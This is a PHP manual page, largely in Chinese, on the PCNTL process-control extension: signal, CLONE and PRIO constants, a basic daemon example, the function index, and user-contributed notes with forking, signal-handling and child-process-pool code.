ILL_COPROC (int)
ILL_BADSTK (int)
FPE_* 常量
FPE_INTDIV (int)
FPE_INTOVF (int)
FPE_FLTDIV (int)
FPE_FLTOVF (int)
FPE_FLTUND (int)
FPE_FLTRES (int)
FPE_FLTINV (int)
FPE_FLTSUB (int)
SEGV_* 常量
SEGV_MAPERR (int)
SEGV_ACCERR (int)
BUS_* 常量
BUS_ADRALN (int)
BUS_ADRERR (int)
BUS_OBJERR (int)
CLONE_* 常量
CLONE_NEWNS (int)
从 PHP 7.4.0 起可用
CLONE_NEWIPC (int)
从 PHP 7.4.0 起可用
CLONE_NEWUTS (int)
从 PHP 7.4.0 起可用
CLONE_NEWNET (int)
从 PHP 7.4.0 起可用
CLONE_NEWPID (int)
从 PHP 7.4.0 起可用
CLONE_NEWUSER (int)
从 PHP 7.4.0 起可用
CLONE_NEWCGROUP (int)
从 PHP 7.4.0 起可用
PRIO_* constants
PRIO_PGRP (int)
PRIO_USER (int)
PRIO_PROCESS (int)
PRIO_DARWIN_BG (int)
从 PHP 8.1.0 起可用。
PRIO_DARWIN_THREAD (int)
从 PHP 8.1.0 起可用。

User Contributed Notes

coder dot ua at gmail dot com 23-Aug-2014 01:05
You should see all signals and their codes in your system using: kill -l
In my Debian GNU/Linux 7.6 (wheezy):

 1) SIGHUP       2) SIGINT       3) SIGQUIT      4) SIGILL       5) SIGTRAP
 6) SIGABRT      7) SIGBUS       8) SIGFPE       9) SIGKILL     10) SIGUSR1
11) SIGSEGV     12) SIGUSR2     13) SIGPIPE     14) SIGALRM     15) SIGTERM
16) SIGSTKFLT   17) SIGCHLD     18) SIGCONT     19) SIGSTOP     20) SIGTSTP
21) SIGTTIN     22) SIGTTOU     23) SIGURG      24) SIGXCPU     25) SIGXFSZ
26) SIGVTALRM   27) SIGPROF     28) SIGWINCH    29) SIGIO       30) SIGPWR
31) SIGSYS      34) SIGRTMIN    35) SIGRTMIN+1  36) SIGRTMIN+2  37) SIGRTMIN+3
38) SIGRTMIN+4  39) SIGRTMIN+5  40) SIGRTMIN+6  41) SIGRTMIN+7  42) SIGRTMIN+8
43) SIGRTMIN+9  44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9  56) SIGRTMAX-8  57) SIGRTMAX-7
58) SIGRTMAX-6  59) SIGRTMAX-5  60) SIGRTMAX-4  61) SIGRTMAX-3  62) SIGRTMAX-2
63) SIGRTMAX-1  64) SIGRTMAX
eclecticrob at gmail dot com 15-Apr-2012 10:26
On RedHat, the values of the constants are:

Signal SIGHUP = 1
Signal SIGINT = 2
Signal SIGQUIT = 3
Signal SIGILL = 4
Signal SIGTRAP = 5
Signal SIGABRT = 6
Signal SIGIOT = 6
Signal SIGBUS = 7
Signal SIGFPE = 8
Signal SIGUSR1 = 10
Signal SIGSEGV = 11
Signal SIGUSR2 = 12
Signal SIGPIPE = 13
Signal SIGALRM = 14
Signal SIGTERM = 15
Signal SIGSTKFLT = 16
Signal SIGCLD = 17
Signal SIGCHLD = 17
Signal SIGCONT = 18
Signal SIGTSTP = 20
Signal SIGTTIN = 21
Signal SIGTTOU = 22
Signal SIGURG = 23
Signal SIGXCPU = 24
Signal SIGXFSZ = 25
Signal SIGVTALRM = 26
Signal SIGPROF = 27
Signal SIGWINCH = 28
Signal SIGPOLL = 29
Signal SIGIO = 29
Signal SIGPWR = 30
Signal SIGSYS = 31
Signal SIGBABY = 31
Signal SIG_BLOCK = 0
Signal SIG_UNBLOCK = 1
Signal SIG_SETMASK = 2
eclecticrob at gmail dot com 04-Jan-2012 03:43
On OS X, the values of the constants are:

SIGHUP = 1
SIGINT = 2
SIGQUIT = 3
SIGILL = 4
SIGTRAP = 5
SIGABRT = 6
SIGIOT = 6
SIGBUS = 10
SIGFPE = 8
SIGUSR1 = 30
SIGSEGV = 11
SIGUSR2 = 31
SIGPIPE = 13
SIGALRM = 14
SIGTERM = 15
SIGSTKFLT not defined
SIGCLD not defined
SIGCHLD = 20
SIGCONT = 19
SIGTSTP = 18
SIGTTIN = 21
SIGTTOU = 22
SIGURG = 16
SIGXCPU = 24
SIGXFSZ = 25
SIGVTALRM = 26
SIGPROF = 27
SIGWINCH = 28
SIGPOLL not defined
SIGIO = 23
SIGPWR not defined
SIGSYS = 12
SIGBABY = 12
SIG_BLOCK = 1
SIG_UNBLOCK = 2
SIG_SETMASK = 3


示例

Table of Contents

  • 基本用法

User Contributed Notes

netkiller at msn dot com 21-Oct-2015 09:16
<?php
/*
 * PHP Daemon sample.
 * Home: http://netkiller.github.io
 * Author: netkiller<netkiller@msn.com>
 *
*/
class Logger {

    public function __construct(/*Logging $logger*/) {
    }

    public function logger($type, $message) {
        $log = sprintf ( "%s\t%s\t%s\n", date ( 'Y-m-d H:i:s' ), $type, $message );
        file_put_contents ( sprintf(__DIR__."/../log/sender.%s.log", date ( 'Y-m-d' )), $log, FILE_APPEND );
    }

}

final class Signal{
    public static $signo = 0;
    protected static $ini = null;
    public static function set($signo){
        self::$signo = $signo;
    }
    public static function get(){
        return(self::$signo);
    }
    public static function reset(){
        self::$signo = 0;
    }
}

class Test extends Logger {
    //public static $signal = null;

    public function __construct() {
        //self::$signal == null;
    }
    public function run(){
        while(true){
            pcntl_signal_dispatch();
            printf(".");
            sleep(1);
            if(Signal::get() == SIGHUP){
                Signal::reset();
                break;
            }
        }
        printf("\n");
    }
}

class Daemon extends Logger {
    /* config */
    const LISTEN = "tcp://192.168.2.15:5555";
    const pidfile     = __CLASS__;
    const uid        = 80;
    const gid        = 80;
    const sleep    = 5;

    protected $pool     = NULL;
    protected $config    = array();

    public function __construct($uid, $gid, $class) {
        $this->pidfile = '/var/run/'.basename(get_class($class), '.php').'.pid';
        //$this->config = parse_ini_file('sender.ini', true); //include_once(__DIR__."/config.php");
        $this->uid = $uid;
        $this->gid = $gid;
        $this->class = $class;
        $this->classname = get_class($class);

        $this->signal();
    }
    public function signal(){

        pcntl_signal(SIGHUP,  function($signo) /*use ()*/{
            //echo "\n This signal is called. [$signo] \n";
            printf("The process has been reload.\n");
            Signal::set($signo);
        });

    }
    private function daemon(){
        if (file_exists($this->pidfile)) {
            echo "The file $this->pidfile exists.\n";
            exit();
        }

        $pid = pcntl_fork();
        if ($pid == -1) {
             die('could not fork');
        } else if ($pid) {
             // we are the parent
             //pcntl_wait($status); //Protect against Zombie children
            exit($pid);
        } else {
            file_put_contents($this->pidfile, getmypid());
            posix_setuid(self::uid);
            posix_setgid(self::gid);
            return(getmypid());
        }
    }
    private function run(){

        while(true){

            printf("The process begin.\n");
            $this->class->run();
            printf("The process end.\n");

        }
    }
    private function foreground(){
        $this->run();
    }
    private function start(){
        $pid = $this->daemon();
        for(;;){
            $this->run();
            sleep(self::sleep);
        }
    }
    private function stop(){

        if (file_exists($this->pidfile)) {
            $pid = file_get_contents($this->pidfile);
            posix_kill($pid, 9);
            unlink($this->pidfile);
        }
    }
    private function reload(){
        if (file_exists($this->pidfile)) {
            $pid = file_get_contents($this->pidfile);
            //posix_kill(posix_getpid(), SIGHUP);
            posix_kill($pid, SIGHUP);
        }
    }
    private function status(){
        if (file_exists($this->pidfile)) {
            $pid = file_get_contents($this->pidfile);
            system(sprintf("ps ax | grep %s | grep -v grep", $pid));
        }
    }
    private function help($proc){
        printf("%s start | stop | restart | status | foreground | help \n", $proc);
    }
    public function main($argv){

        if(count($argv) < 2){
            $this->help($argv[0]);
            printf("please input help parameter\n");
            exit();
        }
        if($argv[1] === 'stop'){
            $this->stop();
        }else if($argv[1] === 'start'){
            $this->start();
        }else if($argv[1] === 'restart'){
            $this->stop();
            $this->start();
        }else if($argv[1] === 'status'){
            $this->status();
        }else if($argv[1] === 'foreground'){
            $this->foreground();
        }else if($argv[1] === 'reload'){
            $this->reload();
        }else{
            $this->help($argv[0]);
        }
    }
}

$daemon = new Daemon(80,80, new Test());
$daemon->main($argv);
?>


基本用法

这个示例用于产生一个守护进程并可以通过信号处理进行关闭。

Example #1 进程控制示例

<?php
declare(ticks=1);

$pid = pcntl_fork();
if ($pid == -1) {
die("could not fork");
} else if ($pid) {
exit(); // 父进程
} else {
// 子进程
}

// 从控制终端分离
if (posix_setsid() == -1) {
die("could not detach from terminal");
}

// 安装信号处理程序
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");

// 执行无限循环任务
while (1) {

// do something interesting here

}

function sig_handler($signo)
{

switch ($signo) {
case SIGTERM:
// 处理终止任务
exit;
break;
case SIGHUP:
// 处理重启任务
break;
default:
// 处理所有其它信号
}

}

?>

User Contributed Notes

There are no user contributed notes for this page.


PCNTL 函数

参见

查看有关 POSIX 函数的部分可能会有用。

Table of Contents

  • pcntl_alarm — 为进程设置 alarm 闹钟信号
  • pcntl_async_signals — Enable/disable asynchronous signal handling or return the old setting
  • pcntl_errno — 别名 pcntl_get_last_error
  • pcntl_exec — 在当前进程空间执行指定程序
  • pcntl_fork — 在当前进程当前位置产生分叉（fork）
  • pcntl_get_last_error — Retrieve the error number set by the last pcntl function which failed
  • pcntl_getpriority — 获取任意进程的优先级
  • pcntl_rfork — Manipulates process resources
  • pcntl_setpriority — 修改任意进程的优先级
  • pcntl_signal_dispatch — 调用等待信号的处理程序
  • pcntl_signal_get_handler — Get the current handler for specified signal
  • pcntl_signal — 安装信号处理程序
  • pcntl_sigprocmask — 设置或检索阻塞信号
  • pcntl_sigtimedwait — 带超时机制的信号等待
  • pcntl_sigwaitinfo — 等待信号
  • pcntl_strerror — Retrieve the system error message associated with the given errno
  • pcntl_unshare — Dissociates parts of the process execution context
  • pcntl_wait — 等待或返回 fork 的子进程状态
  • pcntl_waitpid — 等待或返回 fork 的子进程状态
  • pcntl_wexitstatus — 返回一个中断的子进程的返回代码
  • pcntl_wifexited — 检查状态代码是否代表一个正常的退出
  • pcntl_wifsignaled — 检查子进程状态码是否代表由于某个信号而中断
  • pcntl_wifstopped — 检查子进程当前是否已经停止
  • pcntl_wstopsig — 返回导致子进程停止的信号
  • pcntl_wtermsig — 返回导致子进程中断的信号

User Contributed Notes

debasiss at mindfiresolutions dot com 07-Jun-2019 04:22
<?php
/**
 * @file
 * Working demo of simulating parallel process in PHP.
 */

// ****                       **** //
print "Main program started.... \n";
// Start two child processes.
createProcess("Job1");
createProcess("Job2");
print " *** Child Process started *** \n";

while (TRUE) {

 $pid = pcntl_waitpid(0, $status, WNOHANG);
    if ($pid > 0) {
        childProcessComplete($pid);
    }else if($pid === -1){
        print " *** Child Process Completed *** \n";
        allChildProcessComplete();
        exit();
    }

}
print "Main program end. \n";

/**
 * Method to start child process.
 */
function startChildProcess($childProcessName) {
    $executionTime = rand(5, 10);

    if($childProcessName === "Job1"){
        print "Starting Job1 on processId " .getmypid()."  at " . date('l jS \of F Y h:i:s A') . " expected time $executionTime seconds\n";
    }else if($childProcessName === "Job2"){
        print "Starting Job2 on processId " .getmypid()."  at " . date('l jS \of F Y h:i:s A') . " expected time $executionTime seconds\n";
    }

    // Simulate doing actual work with sleep().
    sleep($executionTime);
}

/**
 * Method to notify when system unable to start a process.
 */
function errorOnProcessLunch() {
    print "Failed to lunch process \n";
}

/**
 * Method to notify when a child process complete the task.
 */
function childProcessComplete($pid) {
    print "Child processing is done for $pid  at " . date('l jS \of F Y h:i:s A') . " \n";
}

/**
 * Method to create a new process.
 */
function createProcess($pname) {
    $pid = pcntl_fork();

    if ($pid == -1) {
        errorOnProcessLunch();
    }
    else if ($pid === 0) {
        startChildProcess($pname);
        exit(); // Make sure to exit.
    }
    else {
        startParentProcess($pid);
    }

}

/**
 * Method to notify when parent thread execute.
 */
function startParentProcess($childProcessID){
    print "In parent thread created child processid $childProcessID \n";
}

/**
 * Method to notify when all child process has completed the task.
 */
function allChildProcessComplete(){
    print "All child processing completed \n";
}

?>
kevin at vanzonneveld dot net 05-Sep-2008 03:29
If you want to create a daemon in PHP, consider using System_Daemon http://pear.php.net/package/System_Daemon

Install it like this:
pear install -f system_daemon

Then use it like this:
<?php
// Include PEAR's Daemon Class
require_once "System/Daemon.php";

// Bare minimum setup
System_Daemon::setOption("appName", "mydaemonname");

// Spawn Deamon!
System_Daemon::start();

// Your PHP Here!
while (true) {
    doTask();
}

// Stop daemon!
System_Daemon::stop();
?>

More examples can be found inside the PEAR package.
m dot quinton at gmail dot com 08-Apr-2008 12:02
a nice example of a class framework to manage tasks using pcntl_fork.

<?php

/**
 * author : Marc Quinton / April 2008.
 *
 *  a simple task management framework using pcntl_fork, pcntl_wait.
 *
 *  - see at bottom for a sample usage.
 *  - you shoud overring Task class (SleepingClass is an example), and manage them in a pool, using taskManager
 */

error_reporting(E_ALL);

class Task {

    protected $pid;
    protected $ppid;

    function __construct(){
    }

    function fork(){
        $pid = pcntl_fork();
        if ($pid == -1)
            throw new Exception ('fork error on Task object');
        elseif ($pid) {
            # we are in parent class
            $this->pid = $pid;
            # echo "< in parent with pid {$his->pid}\n";
        } else{
            # we are is child
            $this->run();
        }
    }

    function run(){
        # echo "> in child {$this->pid}\n";
        # sleep(rand(1,3));
        $this->ppid = posix_getppid();
        $this->pid = posix_getpid();
    }

    # call when a task in finished (in parent)
    function finish(){
        echo "task finished {$this->pid}\n";
    }

    function pid(){
        return $this->pid;
    }
}

class SleepingTask extends Task{
    function run(){
        parent::run();
        echo "> in child {$this->pid}\n";

        # print_r($this);

        sleep(rand(1,5));
        echo "> child done {$this->pid}\n";
        exit(0);
    }
}

class TaskManager{

    protected $pool;

    function __construct(){
        $this->pool = array();
    }

    function add_task($task){
        $this->pool[] = $task;
    }

    function run(){

        foreach($this->pool as $task){
            $task->fork();
        }

        # print_r($this);
        # sleep(60);

        while(1){
            echo "waiting\n";
            $pid = pcntl_wait($extra);
            if($pid == -1)
                break;

            echo ": task done : $pid\n";
            $this->finish_task($pid);
        }

        echo "processes done ; exiting\n";
        exit(0);
    }

    function finish_task($pid){
        if($task = $this->pid_to_task($pid))
            $task->finish();
    }

    function pid_to_task($pid){
        foreach($this->pool as $task){
            if($task->pid() == $pid)
                return $task;
        }
        return false;
    }
}

$manager = new TaskManager();

for($i=0 ; $i<10 ; $i++)
    $manager->add_task(new SleepingTask());

$manager->run();

?>
registrazioni at XSPAMX dot tassetti dot net 05-Sep-2007 09:12
(PHP 5.2.4)

This is an example of multithreading keeping different connections to a mysql database: when children exit they close the connection and others can't use it any more generating problems. In this example I used variable variables to make a different connection per each child.

This scripts loops forever with one mother detached from the terminal and five children 'named' from 1 to 5. When one children sees it's name in the database (one table 'test.tb' with only one field 'test') he lets himself die. To kill children insert their value in the db. The mother suicides only when all children are dead.

What a sad but interesting story...

    $npid = pcntl_fork(); // DETACH FROM TERMINAL AND BE REAPED BY INIT

    if ($npid==-1) die("Error: impossible to pcntl_fork()\n");
    else if ($npid) exit(0); // THE GRANPA DIES
    else // MOTHER GOES ON TO MAKE CHILDREN
    {
        $children = 5;
        for ($i=1; $i<=$children; $i++)
        {
            $pid = pcntl_fork();
            if ($pid==-1) die("Error: impossible to pcntl_fork()\n");
            else if ($pid)
            {
                 $pid_arr[$i] = $pid;
            }
            if (!$pid) // CHILDREN
            {
                global $vconn;
                $vconn = "vconn$i";
                global $$vconn;
                $$vconn = @mysql_connect("mydbhost","mydbuser","mydbpwd");
                if (!($$vconn)) echo mysql_error();
                if (!($$vconn)) exit;

                while (1)
                {
                    $query = "SELECT test FROM test.tb";
                    $rs = mysql_query($query,$$vconn);
                    $rw = mysql_fetch_row($rs);
                    if ($rw[0]==$i) exit;
                    else
                    {
                        echo "Database is $rw[0] and I am $i, it's not my time, I will wait....\n";
                        sleep(1);
                    }
                }
            }
        }

        foreach ($pid_arr as $pid)
        {
            // we are the parent and we wait for all children to die
            pcntl_waitpid($pid, $status);
        }
        echo "All my children died, I will suicide...\n";
        exit();
    }
flyingguillotine1968 at yahoo dot com 12-Aug-2007 05:16
ok, heres what ya do to handle child process's ... :>

you want to pfork your main program, and let it exit,
allowing the new child to become the main program (parent process).

example psudo code :
main program start;
     ....
     if pfork'd child ok
          then exit ;

    // now your new child process is in control...
    // use a signal handler to make it exit (sigkill or sigterm probably)
    // when this new process pforks, store the new child PID's in an
    // array.   when your process  catch's the sigterm  signal
    // loop thru the array of its child PID's sending each child
    // sigkill , then call  pwait on them to wait for them to exit.
    // this will make sure any child process are cleaned up ok
    // THEN .. now here's the trick....
    // reset yer sigterm handler BACK to its original default handler,
   // thennnnn   raise sigterm , main program will exit ok now tooooo :>

example:
when your pfork'd main process gets sigterm ... then do something
like this :

foreach ($this->pForkList as $kiddie) {
$deadPID    = 0;
$this->sendSignal(SIGKILL,$kiddie);
do {
$deadPID = pcntl_waitpid(-1,WNOHANG);
if ($deadPID > 0) {
// kiddie has exited now ...
unset($this->pForkList[ array_search($deadPID,$this->pForkList)]);
break;
} // end if
} while ($deadPID == 0);

} // end for

// now reset sigterm ...
$this->signalSet($sigNum,SIG_DFL);
// RAISE sigterm now ...
$this->sendSignal(SIGTERM,$this->myPID);

this will allow your main process and all its child process's to exit properly and not leave and zombies or other bad stuff behind !
kementeusNOSPAM at gmail dot com 28-Dec-2006 09:43
In the example of the documentation we need to put the pctnl_signal statements BEFORE the while loop.

In that way we can execute whatever we put in the signal handler functions.
corychristison at lavacube dot com 02-Nov-2004 06:53
An easier way than what was first suggested in the first comment, to retrieve what signal your application is being sent would be to use get_defined_constants() to list all constants, loop through and strip out those that are not signals, and to check if it matches the value.

Here is my code for doing this, written for PHP5 only.
<?php

// php5 Specfic

function pcntl_sig_identify ( $sig_no ) {
    $get_constants = get_defined_constants(true);
    $pcntl_contstants = $get_constants["pcntl"];
    $keys = array_keys( $pcntl_contstants );
      foreach($keys as $key){
        if(strstr($key, "SIG") && !strstr($key, "_") && $pcntl_contstants[$key] == $sig_no){
      return $key;
    }
      } // end loop
} // end function pcntl_sig_identify

//
// This example will output "SIGTERM"
//

print pcntl_sig_identify(15) . "\n";

?>
andy at cbeyond dot net 20-Aug-2004 09:26
Suppose you want to fork off children to handle a few hundred different targets (like, say, SNMP polling, but that's just one example).  Since you don't want to fork-bomb yourself, here's one method of limiting the number of children you have in play at any one time:

#!/usr/bin/php -q
<?php
declare(ticks = 1);

$max=10;
$child=0;

// function for signal handler
function sig_handler($signo) {
  global $child;
  switch ($signo) {
    case SIGCHLD:
      echo "SIGCHLD received\n";
      $child -= 1;
  }
}

// install signal handler for dead kids
pcntl_signal(SIGCHLD, "sig_handler");

for ($i=1;$i<=20;$i++) {
        while ($child >= $max) {
                sleep(5); echo "\t Maximum children allowed\n";
                }
        $child++;
        $pid=pcntl_fork();
        if ($pid == -1) {
                die("could not fork");
        } else if ($pid) {
                // we are the parent
        } else {
                // we are the child
                echo "child number $i\n";
                // presumably doing something interesting
                sleep(15);
                exit;
        }
}
04-Dec-2003 03:52
in example 1, i found unless i create function sig_handler _BEFORE_ pcnt_signal, it wouldnt work.. and would just fall to the floor bleeding to death

(note for people having these kinda probs)
cameronNO_SPAM at tripdubdev dot com 18-Nov-2003 12:36
I'm currently working on some code for this, but in case I forget to come back to post to the board, or in case it takes me a while, why not just have a separate background job running (started up via the shell) that tracks which sockets are available to clients ?  Then all you'd have to do is communicate with the one job (or perhaps its own mini-server) run in the background that keeps an array of the available sockets for the server.  This seems the most natural alternative since PHP disclaims that process control functionality should not be used in a web-server environment.  I would hate to build a server, especially one with high traffic, that had to run through a loop in order to find an available socket.
luca dot mariano at email dot it 12-Nov-2003 06:49
Hi folks,
if someone uses PHP-CLI onWin32 and wants to experiment the PCNTL stuff, I've packed a binary version of PHP with built-in pcntl, shmop, sysvshm and other typical Unix extensions... (thanks to Cygwin DLLs).
Download it: http://phplet.sf.net/modules.php?name=Web_Links&l_op=visit&lid=4
jeremy at nirvani dot net 15-Oct-2003 08:54
#!/usr/local/bin/php -q
<?php

# Jeremy Brand <jeremy@nirvani.net>
# http://www.nirvani.net/

# ./configure --enable-pcntl --enable-sigchild
# make
# make install

# This code example shows how to use a script to do multiprocessing.  Each time
# this script is ran, the result is 5 (in this example) processes running to
# accomplish a specified task.

# Examples could be a messaging queue.  You could get the number of messages in
# a queue and handle any or all of them asynchronously.

# Get the number of children you want to be born by running this
# script once.
$children = 5; # likely a function call here.

for ($i=1; $i<=$children; $i++)
{

  $pid = pcntl_fork();
  if ($pid == -1)
  {
    die("could not fork\n");
  }
  else if ($pid)
  {
    # If we are the parent, we did our job of giving birth,
    # now lets finish our job and die!
    exit(0);
  }
  else
  {
    # Since we are the child, fork so that init will become our parent.  Init
    # is good at wait()ing on children - ie: reaping.
    $cpid = pcntl_fork();
    if ($cpid == -1)
    {
      die("could not fork in child process\n");
    }
    if (!$cpid)
    {
      # We have now forked off from our parent and also are not waiting on any
      # other children to process, however other children are running
      # simutaniously to us.  Make sure the code you write here is safe to run
      # in this environment of multiprocessing - ie: proper locking, etc.
      # Write the custom code here that you want to multiprocess.

      # ADD CODE HERE TO MULTIPROCESS
      print "we are child number $i\n";

      # Don't forget to exit after the child processing is done.  Certainly
      # change this exit code if you need to however.
      exit(0);
    }
  }
}

?>
David Koopman 14-Sep-2003 01:32
I had a hard time finding a complete example of using PHP as a multi-process (or multi-threaded - I don't understand the difference in these two terms) daemon using connection pooling.  I put pieces of the puzzle together and came up with the program below.  I hope it helps someone.  Notes about making this work:

1) I rebuilt PHP on my machine with these config options:
./configure --enable-sockets --enable-pcntl --enable-sigchild
make
make install

2) I have problems when tried to handle SIGTERM and SIGHUP myself, so I removed these from my code, don't use them unless you have a special need for this:
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");

What I do is:
1. start the program, then fork to detach from the terminal (kill the parent and make the child the session leader).

2. bind to address and port and start listening.

3. fork $poolNum times, creating $poolNum children (this is the pool of daemons running.  The children handle the incoming connections).

4. keep the parent process running in a loop, constantly checking to see if it should create a new child.  It will always keep $poolNum spare children ready (as long as the total pooled connections doesn't exceed $maxDaemon).  As connections come in, more children are spawned.

5. When a new connection comes in, it is handed off to the first child.  This child then sends a SIGUSR1 signal back to the parent.  The parent has a signal handler for SIGUSR1, which will increment the $numActive variable by one.  The loop that is running (see 4 above) will note the increment in $numActive and automatically create a new child process to keep the process pool going.

I have to post the code in the next note, the note engine on this site won't allow such a long note to be posted, but I think this code example is well worth a comment on this...
schst at php dot net 01-Sep-2003 07:39
To get rid of the zombies when child processes terminate you do not have to write a lot of code that uses complex stuff like message queues.
Instead you only set a signal handler:

pcntl_signal(SIGCHLD, SIG_IGN);

Stephan
Patrice Levesque 14-Jun-2003 01:11
So, you want to create multiple child processes and don't want any zombies, don't you?

You can use IPC to achieve just that.  Every child that is spawned has to tell its parent that time has come for him to be terminated.  So, yes, zombies will be created, but once in a while the parent will 'clean up' after his kids.  Code:

<?php
  declare(ticks = 1);
  // create a IPC message queue
  $msgqueue = msg_get_queue(ftok("/tmp/php_msgqueue.stat", 'R'),0666 | IPC_CREAT);
  // loop for 1000 children
  for ($c = 0; $c < 1000; $c++) {
    // fork
    $pcid = pcntl_fork();
    if ($pcid == -1) {
      die("Could not fork!");
    }
    elseif ($pcid) { // we are the parent, look for zombie kids and terminate 'em
      // look in the IPC message queue if there are any entries
      $currentqueue = msg_stat_queue($msgqueue);
      $n = $currentqueue['msg_qnum']; // number of messages (number of kids to terminate)
      if ($n > 0) {
        echo "There are $n kids to terminate.\n";
        for ($i = 0; $i < $n; $i++) {
          // pop the kid's PID from the IPC message queue
          if (!msg_receive ($msgqueue, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
            echo "MSG_RECV ERROR: $errmsg \n"; // something has gone wrong
          }
          else {
            pcntl_waitpid($msg, $tmpstat, 0); // terminate kid for real.
          };
        };
      };
    }
    else { // we are the child!
      if (!posix_setsid()) { die ("Could not detach"); }; // detach
      echo "I am child number $c\n";
      sleep(5); // do something useful
      // tell dad I'm finished via IPC: send him my PID
      if (!msg_send($msgqueue, 1, posix_getpid(), true, true, $errmsg)) {
        echo "MSG_SEND ERROR: $errmsg \n";
      };
      exit(); // become a zombie until dad kills me
    };
  };
?>
van[at]webfreshener[dot]com 10-Oct-2002 07:53
Forking your PHP daemon will cause it to zombie on exit.

...or so I've seen on:
FreeBSD (PHP4.2.x)
Debian (PHP4.3.0-dev)
Darwin (PHP4.3.0-dev)

This was tested with the example code above and other scripts created for evaluation.

Seems adding --enable-sigchild to your configure will get rid of the problem.

Hope that saves some hair tearing :]
keksov[at]gmx.de 29-May-2002 10:10
You have to use socket_select before socket_accept, so your code will wait for connection with select. socket_select can be interrupted by signals easily. Below is an example from my library (methods of class TNetSocket):
  //-- select
  function select($aread=NULL,$awrite=NULL,$aexcept=NULL,$timeout=NULL)
  {
    while(1)
    {
      $res="";
      $res=socket_select($aread, $awrite, $aexcept, $timeout);

      // if errno===0 it means what select was interrrupted by SysV signal
      if($res===false && socket_last_error($this->socket())!==0)
      { // error occured, interrupted not by a signal
        $this->set_socket_error(__LINE__);
        return(false);
      }
      break;
    }
    return(true);
  }

  //-- accept, wait for incomming connection
  function accept()
  {
    $this->clear_socket_error();
    $this->set_io_socket(_SOCKET_);

    $socket=$this->socket();
    $aread=array($socket);
    if ($this->select($a=&$aread)===false)
      return(false);

    $child_socket=socket_accept($this->socket);
    if($child_socket <= 0)
    { // error occured
      $this->set_socket_error(__LINE__);
      return(false);
    }

    $this->child_socket=$child_socket;
    $this->sockets[_CHILD_SOCKET_]=&$this->child_socket;
    $this->set_io_socket(_CHILD_SOCKET_);

    $a=&$this->peername;
    $res=socket_getpeername($child_socket,$a);

    if($res <= 0)
    { // error occured
      $this->set_socket_error(__LINE__);
      return(false);
    }

    $this->get_address_and_port(_CHILD_SOCKET_);
    TLogManager::phpserv("Connection accepted. ADDRESS $this->address, PORT $this->port","net_socket",__FILE__,__LINE__);

    $this->connected=true;
    return(true); // return new object of TNetSocket type
  }
daniel[at]lorch.cc 27-Feb-2002 03:48
This piece of code helped me to find out what signals are being sent to my process:

function sig_identify($signo) {
  switch($signo) {
    case SIGFPE:    return 'SIGFPE';
    case SIGSTOP:   return 'SIGSTOP';
    case SIGHUP:    return 'SIGHUP';
    case SIGINT:    return 'SIGINT';
    case SIGQUIT:   return 'SIGQUIT';
    case SIGILL:    return 'SIGILL';
    case SIGTRAP:   return 'SIGTRAP';
    case SIGABRT:   return 'SIGABRT';
    case SIGIOT:    return 'SIGIOT';
    case SIGBUS:    return 'SIGBUS';
    case SIGPOLL:   return 'SIGPOLL';
    case SIGSYS:    return 'SIGSYS';
    case SIGCONT:   return 'SIGCONT';
    case SIGUSR1:   return 'SIGUSR1';
    case SIGUSR2:   return 'SIGUSR2';
    case SIGSEGV:   return 'SIGSEGV';
    case SIGPIPE:   return 'SIGPIPE';
    case SIGALRM:   return 'SIGALRM';
    case SIGTERM:   return 'SIGTERM';
    case SIGSTKFLT: return 'SIGSTKFLT';
    case SIGCHLD:   return 'SIGCHLD';
    case SIGCLD:    return 'SIGCLD';
    case SIGIO:     return 'SIGIO';
    case SIGKILL:   return 'SIGKILL';
    case SIGTSTP:   return 'SIGTSTP';
    case SIGTTIN:   return 'SIGTTIN';
    case SIGTTOU:   return 'SIGTTOU';
    case SIGURG:    return 'SIGURG';
    case SIGXCPU:   return 'SIGXCPU';
    case SIGXFSZ:   return 'SIGXFSZ';
    case SIGVTALRM: return 'SIGVTALRM';
    case SIGPROF:   return 'SIGPROF';
    case SIGWINCH:  return 'SIGWINCH';
    case SIGPWR:    return 'SIGPWR';
  }
}

function sig_handler($signo) {
  echo "Caught " . sig_identify($signo) . " (" . $signo  . ") on " . posix_getpid() . "\n";
}

pcntl_signal(SIGFPE, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");
// pcntl_signal(SIGINT, "sig_handler");
pcntl_signal(SIGQUIT, "sig_handler");
pcntl_signal(SIGILL, "sig_handler");
pcntl_signal(SIGTRAP, "sig_handler");
pcntl_signal(SIGABRT, "sig_handler");
pcntl_signal(SIGIOT, "sig_handler");
pcntl_signal(SIGBUS, "sig_handler");
pcntl_signal(SIGPOLL, "sig_handler");
pcntl_signal(SIGSYS, "sig_handler");
pcntl_signal(SIGCONT, "sig_handler");
pcntl_signal(SIGUSR1, "sig_handler");
pcntl_signal(SIGUSR2, "sig_handler");
pcntl_signal(SIGSEGV, "sig_handler");
pcntl_signal(SIGPIPE, "sig_handler");
pcntl_signal(SIGALRM, "sig_handler");
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGSTKFLT, "sig_handler");
pcntl_signal(SIGCHLD, "sig_handler");
pcntl_signal(SIGCLD, "sig_handler");
pcntl_signal(SIGIO, "sig_handler");
pcntl_signal(SIGTSTP, "sig_handler");
pcntl_signal(SIGTTIN, "sig_handler");
pcntl_signal(SIGTTOU, "sig_handler");
pcntl_signal(SIGURG, "sig_handler");
pcntl_signal(SIGXCPU, "sig_handler");
pcntl_signal(SIGXFSZ, "sig_handler");
pcntl_signal(SIGVTALRM, "sig_handler");
pcntl_signal(SIGPROF, "sig_handler");
pcntl_signal(SIGWINCH, "sig_handler");
pcntl_signal(SIGPWR, "sig_handler");

I commented out SIGNIT, as it is the signal which is sent to your process when you press CTRL-C. If you catch this signal, you must handle it properly:

function sig_handler($signo) {
  switch($signo) {
    case SIGINT:
      // customized cleanup code
      exit; // now exit
      break;
  }
}

Otherwise the only possibility to stop your process is by sending a SIGKILL signal - you can do this on the shell by typing "kill -9 PID" (where -9 is the numerical value for SIGKILL).

Note: You cannot add a handler (i.e. ignore signals) for SIGSTOP and SIGKILL - for obvious reasons.


